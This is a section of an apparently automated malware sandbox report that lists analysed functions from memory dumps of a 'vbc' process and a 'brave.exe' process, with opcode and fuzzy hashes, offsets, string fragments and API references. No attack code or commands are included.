Instruction Fuzzy Hash: 66E0ED322002416BC7146A6AE888AAB7ADAEBCD769B50846DE20EC3741DE615905C7A6

Uniqueness

Uniqueness Score: -1.00%

Function 094CE480 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.471079857.00000000094C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_94c0000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4837b943286da377d8c579598909119610652943c93077b181eec78ff4cb476f
Instruction ID: e1d49ca343b4c08a3056e50e0499f91aae5ec24822b6ffe9b28b452e0e1b14fa
Opcode Fuzzy Hash: 4837b943286da377d8c579598909119610652943c93077b181eec78ff4cb476f
Instruction Fuzzy Hash: FCF0E53260031A9ACB04EF65DC508DAB778FFC43207108A3AD54AA3600EBB4A94487E0

Uniqueness

Uniqueness Score: -1.00%

Function 00A48702 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416548224.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a40000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52e8151a1c81327beccc19cdd88730f7d1418ffffba7f46ed4c36f66bfce932b
Instruction ID: 5c4e23c070b3587d9d3795ba2f07b13a111d6d1d850e88e6a664a51c64c9c609
Opcode Fuzzy Hash: 52e8151a1c81327beccc19cdd88730f7d1418ffffba7f46ed4c36f66bfce932b
Instruction Fuzzy Hash: 05E02B76B482848FC308E768B05E519BBD1EFDA36072150DFD586CB7E2D760085AC381

Uniqueness

Uniqueness Score: -1.00%

Function 00A44BF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416548224.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a40000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 445262a5c460fcb0db98f24f026953de65254a467209e6ab763de2a38168a3b7
Instruction ID: 2d12ef3779a5479a2d41dbed7ed0c608171f4157d87dac6e17f23cd8b4d21b8a
Opcode Fuzzy Hash: 445262a5c460fcb0db98f24f026953de65254a467209e6ab763de2a38168a3b7
Instruction Fuzzy Hash: B8F09A70501B418FD728DF22E908523BBF2FF8C3117008A2EE54A83A54DB74A40ACF86

Uniqueness

Uniqueness Score: -1.00%

Function 00A494B8 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416548224.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a40000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f2592b1e7746e1f4e2d0c04dd1a308c2bc0c871bb7b715c3c570ec52f7a8cc5
Instruction ID: d5a0ce8dd3b28ca7fc98d85ca29dfb62ff70bb70d701baf3992356263866f006
Opcode Fuzzy Hash: 0f2592b1e7746e1f4e2d0c04dd1a308c2bc0c871bb7b715c3c570ec52f7a8cc5
Instruction Fuzzy Hash: F9F0A0385497904FC311EB39D999C9A77E25F863103448D6E90998BE65DB70680D87E2

Uniqueness

Uniqueness Score: -1.00%

Function 094C81E5 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.471079857.00000000094C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_94c0000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adbd6084ffd4e59a4c2c796cef36ab4a95c9c0699e77f88bae7ef709286f3d91
Instruction ID: 13537678b61987c15b7d035bc5c28685b6836bb1e819439d22d31464c8be5515
Opcode Fuzzy Hash: adbd6084ffd4e59a4c2c796cef36ab4a95c9c0699e77f88bae7ef709286f3d91
Instruction Fuzzy Hash: 95F0F43A6010099FCB41CF94E588DDDBBB2FB88311B61C2A1E548AB621C332EE15CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00A4C908 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416548224.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a40000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbe87ad28909b2d3a1d95ac097a1abb65194a8d8f770df8aade5e7c320b7c784
Instruction ID: bb5a0e047de0f6321c54bbb97250181fd14f63a2a75af53470d51bf132496c8f
Opcode Fuzzy Hash: dbe87ad28909b2d3a1d95ac097a1abb65194a8d8f770df8aade5e7c320b7c784
Instruction Fuzzy Hash: FBE0DF36304244A7CB0076AAF84999BBB5EDBC9375710C53EF909837029E654C0582E2

Uniqueness

Uniqueness Score: -1.00%

Function 00A48FF8 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416548224.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a40000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b8983ad2cb82937314592807ceb1e9abdc4c86df540a189aacf1e1df8409b99
Instruction ID: b890c395ce049b0f80b124bdf26060ce712e4a77a50494f0837221e6acc336bc
Opcode Fuzzy Hash: 9b8983ad2cb82937314592807ceb1e9abdc4c86df540a189aacf1e1df8409b99
Instruction Fuzzy Hash: 7AE072383002248B8729933AA850DBB228F9FC43A8309043EEA09C3F00FF34CC06C6C0

Uniqueness

Uniqueness Score: -1.00%

Function 00A41F31 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416548224.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a40000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b117bd15dbca6c772ac9ccd1fb481f032e33e63a3cd9cf2547562bdf7333c2e
Instruction ID: d06cafbf374b2639d32deb2c134758ecfbf368997eb4f90397da5959d7a55a58
Opcode Fuzzy Hash: 8b117bd15dbca6c772ac9ccd1fb481f032e33e63a3cd9cf2547562bdf7333c2e
Instruction Fuzzy Hash: 9BF0BE74E84204AFCB44DFA4E491B9C7FB0FB41704F0082AAD8449B382E3740842CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00A40470 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416548224.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a40000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 402c861e69940bfe4e72f627de132f9f4c06597b7e119c520dce32ceb6342a1d
Instruction ID: 680f11c80799224b9ac1c41eb35c5dc21c1f2898884a12bc697698e44119fd7a
Opcode Fuzzy Hash: 402c861e69940bfe4e72f627de132f9f4c06597b7e119c520dce32ceb6342a1d
Instruction Fuzzy Hash: 50F0A934884244DFCB10DFB8E888BED3BF0EB81314F0086AAC40597760E7341E829B40

Uniqueness

Uniqueness Score: -1.00%

Function 00A44B90 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416548224.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a40000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0eb546da6ca37f8c22533dda64fb532c185096cc64cf23d2364454d36a67043
Instruction ID: b4701fcb83fde44873b56849f3e6b158c954bc79f25f716b32cf1fb472944190
Opcode Fuzzy Hash: e0eb546da6ca37f8c22533dda64fb532c185096cc64cf23d2364454d36a67043
Instruction Fuzzy Hash: 0FE065351447949BC750E72DE448AAB7BE6DBC5729F00482DE24687F10CBB56805C7D6

Uniqueness

Uniqueness Score: -1.00%

Function 00A4EDA2 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416548224.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a40000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06c21e8d8dac8467faaa303c9dc5eb5f92e5cd7f0d905d529b60460beb3d2397
Instruction ID: 949f696b96b0ddbc0f322f04006df6376b8b75792ae4c68f290ef096a9beeac9
Opcode Fuzzy Hash: 06c21e8d8dac8467faaa303c9dc5eb5f92e5cd7f0d905d529b60460beb3d2397
Instruction Fuzzy Hash: F2F0C9B4D0420A9F8B84DFE9D8456BEBFF4BB48300F10817A9518E2211E7744651DFD5

Uniqueness

Uniqueness Score: -1.00%

Function 00A494C8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416548224.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a40000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21ae866e56d79faaa2c873794c371f8f9b6e5a19aa61233c880d1e55f4d26865
Instruction ID: 1102c8c75e4878b171d4038c551518d2f6092944a3d1dac610a5468aee863da6
Opcode Fuzzy Hash: 21ae866e56d79faaa2c873794c371f8f9b6e5a19aa61233c880d1e55f4d26865
Instruction Fuzzy Hash: CDE092345447504FC314EB3AD589C9A77D69F89310380CD2E909A47F10DF70780986E2

Uniqueness

Uniqueness Score: -1.00%

Function 00A41F40 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416548224.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a40000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b86533857502936ed5ef553a5459481e5f1eb899bc32258d6754e02e1d562e1
Instruction ID: 6188392313242d9abc9bfc53b268e187df28922a3fe4c438890584c8c5bae1c1
Opcode Fuzzy Hash: 5b86533857502936ed5ef553a5459481e5f1eb899bc32258d6754e02e1d562e1
Instruction Fuzzy Hash: C8F06D74E40208AFCB48EFA4E9567ADBBB0FB44B00F1082A9D80497381E7746942DF81

Uniqueness

Uniqueness Score: -1.00%

Function 094CE428 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.471079857.00000000094C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_94c0000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1404005feae39d4cdcaab7b88137ea366253e21e570feb90bb60560644677da2
Instruction ID: 3be31cdcc65bcc90e76544d93767d8bc6f287aadeed66a96068f7307ea978aa2
Opcode Fuzzy Hash: 1404005feae39d4cdcaab7b88137ea366253e21e570feb90bb60560644677da2
Instruction Fuzzy Hash: 2EE012329147189AC744EAA8D4148DDBFB8EE85260F00866AE44997250EF7095C486D1

Uniqueness

Uniqueness Score: -1.00%

Function 00A40480 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416548224.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a40000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78b302df6cb1c012771849e65f3319164690f70dd61eed1840fa0507afda76b5
Instruction ID: e6e39d3edb0f1822ee56c32c517123add471a9087e2199c160883e485af65d2f
Opcode Fuzzy Hash: 78b302df6cb1c012771849e65f3319164690f70dd61eed1840fa0507afda76b5
Instruction Fuzzy Hash: 2EE08C34955208EFCB10EFB9E949AAD77B4EB82314F4089A9D50597760EB312E04EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00A40437 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416548224.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a40000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 381191f2ac3ba5c21864b566d3cf17316a08d7aef11f8abf21f0661acae548eb
Instruction ID: 1259fd65f8f9430bc64cc8154b5863d7efa8309d30859bf9a0e8e67895dd5a7e
Opcode Fuzzy Hash: 381191f2ac3ba5c21864b566d3cf17316a08d7aef11f8abf21f0661acae548eb
Instruction Fuzzy Hash: C5D012788A92469EC711CFA0B948BE97FA0E746355F000299D50996721D7B44946EA11

Uniqueness

Uniqueness Score: -1.00%

Function 00A487C5 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416548224.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a40000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9481fdfbb0385c78ef269060252654a668173bfaa8612d40fda3ee11884dd731
Instruction ID: 4383b5f2714f2407bb99463f371a984f9f14122d0761a688f843a720e422029e
Opcode Fuzzy Hash: 9481fdfbb0385c78ef269060252654a668173bfaa8612d40fda3ee11884dd731
Instruction Fuzzy Hash: 98E0EC367001159F9700AB98F88596EB7A5F7CC662351416AE609D3380DB315811CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00A470E0 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416548224.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a40000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fd2f7e7d2b91ad2d78f037930fb1d0f1a3d524ef7951a261befa804ca9d3cb9
Instruction ID: fa83a40185a32c240ba7768286f9c084ff9a6e783dc8e29db5a287655aeb0115
Opcode Fuzzy Hash: 8fd2f7e7d2b91ad2d78f037930fb1d0f1a3d524ef7951a261befa804ca9d3cb9
Instruction Fuzzy Hash: D3E0263110C150CBEB829324A805CAA2B91D785320701478AF4408B6C1F2541E0783D2

Uniqueness

Uniqueness Score: -1.00%

Function 00A43C20 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416548224.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a40000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac6e3efd1e3354ef2a28c032dd0dac3d3d0c03faa9e32cff621cbb2d3327a02e
Instruction ID: 3cd48ee0f65dab890b6b82950328f89cfad09e028be48a34c6893cb9c96f0bdd
Opcode Fuzzy Hash: ac6e3efd1e3354ef2a28c032dd0dac3d3d0c03faa9e32cff621cbb2d3327a02e
Instruction Fuzzy Hash: E7D0173A7051649B86056769F498CAF3BAEEAC9736308042EE20687B40CF651D0687E7

Uniqueness

Uniqueness Score: -1.00%

Function 00A41ED1 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416548224.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a40000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 071f6d1bfdca30369e6cd202dd6e9f427842db71d600cb6a5453c747db7ae9e9
Instruction ID: e40858c998c122dec087b6019688311fb262b2e6ea382129e762e3d13ebac5e5
Opcode Fuzzy Hash: 071f6d1bfdca30369e6cd202dd6e9f427842db71d600cb6a5453c747db7ae9e9
Instruction Fuzzy Hash: CBE086306082814FC714CBA89850B95BFE5AFC5218B1842BFD84EC7742D771DC03CB44

Uniqueness

Uniqueness Score: -1.00%

Function 094CDD68 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.471079857.00000000094C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_94c0000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59cb1be8282c817fe261e9acbd98615d337e152a9b1c9e5f8f24a6a1ced64af5
Instruction ID: ac7552d4200a7d5de9161756312c7ebaea15cfb2e8ba79dbd2faa80ba3750908
Opcode Fuzzy Hash: 59cb1be8282c817fe261e9acbd98615d337e152a9b1c9e5f8f24a6a1ced64af5
Instruction Fuzzy Hash: F0D01235611658CBC7182BB5B408099B7AAEB45656301407EEC0AC2241CF37C801CFA3

Uniqueness

Uniqueness Score: -1.00%

Function 00A4EDB0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416548224.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a40000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54899a703f4b04d3f6e452c22b66f3d386f05154b75c58ae201fd559756d62e6
Instruction ID: 5c0f33e0a473477108d53d7359dfad0fb20236b3606accfd572a6bac6addc634
Opcode Fuzzy Hash: 54899a703f4b04d3f6e452c22b66f3d386f05154b75c58ae201fd559756d62e6
Instruction Fuzzy Hash: 8FE092B4D0420E9F8B84DFA9D841ABEBFF8AB48300F10816AD958E2240E6345A51DFD5

Uniqueness

Uniqueness Score: -1.00%

Function 00A4BCC8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416548224.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a40000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cbdd3986d8509cc544ee39bcba0ac1f6cdf29e9ed07688fb4a146013d59e736
Instruction ID: 5337ed187e8915ec4a81f1d2476775254154a2a0e2cf091af8716bbfee45c6a0
Opcode Fuzzy Hash: 7cbdd3986d8509cc544ee39bcba0ac1f6cdf29e9ed07688fb4a146013d59e736
Instruction Fuzzy Hash: A9D0A731714110170004A36EE8408BE368F8EC6264388443AE009CBB40DF906C1603FA

Uniqueness

Uniqueness Score: -1.00%

Function 00A4C8B0 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416548224.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a40000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c001fc18d08a86d8fc9e982ed8eb8474b5458f41365538550beb80e4b77eb185
Instruction ID: 627c0e021ef94f92254b96deb8bac0af7b389c9bdacaf525d378b4e1ffa6ebcf
Opcode Fuzzy Hash: c001fc18d08a86d8fc9e982ed8eb8474b5458f41365538550beb80e4b77eb185
Instruction Fuzzy Hash: B1E026217093C4DFCB85EB2CC4022023BA19F86714F05C0CE80449B266E72C8D16C782

Uniqueness

Uniqueness Score: -1.00%

Function 00A48718 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416548224.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a40000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bb2ceaf1ca4c9f535c2d9ff9d1816f77a86c3935f8ef4bd7433eda261c7b015
Instruction ID: 47d2fcd2f0190e8d207d85aa82a746413984510f433f4394d0f853e174577c5c
Opcode Fuzzy Hash: 4bb2ceaf1ca4c9f535c2d9ff9d1816f77a86c3935f8ef4bd7433eda261c7b015
Instruction Fuzzy Hash: 09D0921A30A1E00FC342677879241696F659ADA56274990EBE6C2C72F6C828080A8792

Uniqueness

Uniqueness Score: -1.00%

Function 00A40448 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416548224.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a40000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0a0141dba4b74b2944773b7e693ed60f074e839fc5d2d21eed9e97ead9241a6
Instruction ID: 63b568026486cf3f89b155e3ced0974a6ce2d3700f33ffa07938ef0132f84632
Opcode Fuzzy Hash: f0a0141dba4b74b2944773b7e693ed60f074e839fc5d2d21eed9e97ead9241a6
Instruction Fuzzy Hash: 06C0123086A20A9BC6109B95B94CB697668E703315F001594DA085671097314C00A5A5

Uniqueness

Uniqueness Score: -1.00%

Function 094CDC80 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.471079857.00000000094C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_94c0000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4b1c7286c722e971e32231536e90884e49f3f6f35d48da1dac2c2017fe9d1a7
Instruction ID: d6fd377f2c288dee8f639d6b2c46fcf8a75f03e036f75dbf8140f2055d43cfe1
Opcode Fuzzy Hash: a4b1c7286c722e971e32231536e90884e49f3f6f35d48da1dac2c2017fe9d1a7
Instruction Fuzzy Hash: 1FC02B70200D0C4FDF402FF07818327778DC740627F06003AF80DC0584DE15C4009663

Uniqueness

Uniqueness Score: -1.00%

Function 00A4BC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416548224.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a40000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7ae7483decd2601edfd018075a52a39c1440dda46e876e75928b63c3df252bb
Instruction ID: da03881e2a2319ab9f00cff4b16a4cbdb0cad67b7a5d567c06934a28b81a5eb6
Opcode Fuzzy Hash: b7ae7483decd2601edfd018075a52a39c1440dda46e876e75928b63c3df252bb
Instruction Fuzzy Hash: D9C092280AD3CB8FDB03A7B05C250483FB0AE03220B0608DBC1CACA063D55CC88EC72B

Uniqueness

Uniqueness Score: -1.00%

Function 094966B0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.469942254.0000000009490000.00000040.00000800.00020000.00000000.sdmp, Offset: 09490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9490000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 283135602769ca7875764d467021a97890be92c0200f2505eb8076e9537f15c1
Instruction ID: c03a23baa51f1b2c6c26ac5dd10f243044e3f521097d34d386b9424f41be4faf
Opcode Fuzzy Hash: 283135602769ca7875764d467021a97890be92c0200f2505eb8076e9537f15c1
Instruction Fuzzy Hash: 3CC04C5650D3C04FD747123044582153F70AF53554F8E44D691D5CF2B2E5580505DB61

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 094C9D30 Relevance: 10.4, Strings: 8, Instructions: 393COMMON

Download Yara Rule

Strings

hoE, xrefs: 094C9E29
hoE, xrefs: 094CA0AC
hoE, xrefs: 094C9F67
hoE, xrefs: 094CA049
hoE, xrefs: 094CA160
hoE, xrefs: 094CA1F8
hoE, xrefs: 094CA2C0
hoE, xrefs: 094C9EDD

Memory Dump Source

Source File: 00000002.00000002.471079857.00000000094C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_94c0000_vbc.jbxd

Similarity

API ID:
String ID: hoE$hoE$hoE$hoE$hoE$hoE$hoE$hoE
API String ID: 0-2260424327
Opcode ID: 6845adf4b1878613b7d25eb0c2e404d4a4798e6f34f3e0484dac558ea0669c1c
Instruction ID: eaa89d386631b834ca215530f5199a743f4dd7b7bb9e1d000c733600a21f9195
Opcode Fuzzy Hash: 6845adf4b1878613b7d25eb0c2e404d4a4798e6f34f3e0484dac558ea0669c1c
Instruction Fuzzy Hash: D6C135A470016D1BDB58E2A84867FBF608F8BC9748F10842E990BDBB95CF6D4D4943F6

Uniqueness

Uniqueness Score: -1.00%

Function 094C9B78 Relevance: 6.7, Strings: 5, Instructions: 478COMMON

Download Yara Rule

Strings

hoE, xrefs: 094C9E29
hoE, xrefs: 094CA0AC
hoE, xrefs: 094C9F67
hoE, xrefs: 094CA049
hoE, xrefs: 094C9EDD

Memory Dump Source

Source File: 00000002.00000002.471079857.00000000094C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_94c0000_vbc.jbxd

Similarity

API ID:
String ID: hoE$hoE$hoE$hoE$hoE
API String ID: 0-324955841
Opcode ID: 1a1a2f4abdc4c1a22bbf1dd0f6b6af3a84c0e2fed789564548027c5fab3c5523
Instruction ID: 37e571bf2c20b4e38dc13ea09a5d18141c589ff74e59292949a4c7ac31cc4ab6
Opcode Fuzzy Hash: 1a1a2f4abdc4c1a22bbf1dd0f6b6af3a84c0e2fed789564548027c5fab3c5523
Instruction Fuzzy Hash: BB7100A470056D1BDB58E2A84863FBB608F8BC9744F10842E990BDBB95CF6D4D4943FA

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: brave.exePID: 5284, Parent PID: 860COMMON

Execution Graph

Execution Coverage:	6.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.9%
Total number of Nodes:	1349
Total number of Limit Nodes:	16

Executed Functions

Function 00007FF69F801770 Relevance: 21.9, APIs: 11, Strings: 1, Instructions: 890
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount64.KERNEL32 ref: 00007FF69F801799
GetTickCount64.KERNEL32 ref: 00007FF69F8017AA

Strings

yAA, xrefs: 00007FF69F801EB1

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: Count64Tick
String ID: yAA
API String ID: 1927824332-3548342407
Opcode ID: fffc0cfdf96e21425afe224a69a6967aa3dcf1c0ac1bc77eded23e701a39615d
Instruction ID: af5327a6e6c2153b85e69edc132da568c0eee47df8d5f36d425f02a529169545
Opcode Fuzzy Hash: fffc0cfdf96e21425afe224a69a6967aa3dcf1c0ac1bc77eded23e701a39615d
Instruction Fuzzy Hash: 2492E221A197C281FBB18B24E9157FA67B0FB95784F8641B1DA8C93B96EFBDD140D300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F803170 Relevance: 19.7, APIs: 8, Strings: 3, Instructions: 423
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_stricmp.MSVCRT ref: 00007FF69F803384
strcmp.MSVCRT ref: 00007FF69F80358E
strcmp.MSVCRT ref: 00007FF69F803640
strcmp.MSVCRT ref: 00007FF69F8036E7
strcmp.MSVCRT ref: 00007FF69F803797
strcmp.MSVCRT ref: 00007FF69F80383A
strcmp.MSVCRT ref: 00007FF69F8038BA

Strings

}, xrefs: 00007FF69F8036FC
KF , xrefs: 00007FF69F80385B
y, xrefs: 00007FF69F8034E9

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

